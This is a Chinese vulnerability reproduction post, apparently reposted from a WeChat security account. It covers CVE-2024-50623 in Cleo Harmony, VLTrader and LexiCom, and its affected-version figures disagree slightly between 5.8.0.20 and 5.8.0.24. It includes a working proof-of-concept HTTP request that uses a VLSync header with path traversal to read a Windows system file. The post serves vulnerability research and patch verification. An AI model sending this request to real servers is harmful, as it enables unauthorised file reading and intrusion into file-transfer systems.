Cleo LexiCom等都是Cleo公司的产品。Cleo LexiCom是一个集成平台。Cleo Harmony是一个文件集成解决方案。Cleo VLTrader是一个安全托管文件传输软件。
Cleo多款产品存在安全漏洞，该漏洞源于包含一个JavaScript注入问题。以下产品及版本受到影响：Cleo Harmony 5.8.0.20版本之前，VLTrader 5.8.0.20版本之前和LexiCom 5.8.0.20版本。
攻击者可以通过该漏洞进行读写操作，从而进行RCE。
Cleo Harmony < 5.8.0.24
Cleo VLTrader < 5.8.0.24
Cleo LexiCom < 5.8.0.24
1.访问漏洞环境
POC
漏洞复现
GET /Synchronization HTTP/1.1Host: {{Host}}VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0;a=192.168.1.100;po=5080;s=True;b=False;pp=myEncryptedPassphrase;path=......windowswin.iniContent-Type: multipart/form-data; boundary=---------------------------12345678901234567890123456Content-Length: 0
测试进行文件读取，通过响应判断漏洞存在。
https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisoryhttps://labs.watchtowr.com/cleo-cve-2024-50623/
原文始发于微信公众号（弥天安全实验室）：【成功复现】Cleo产品远程命令执行漏洞(CVE-2024-50623)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论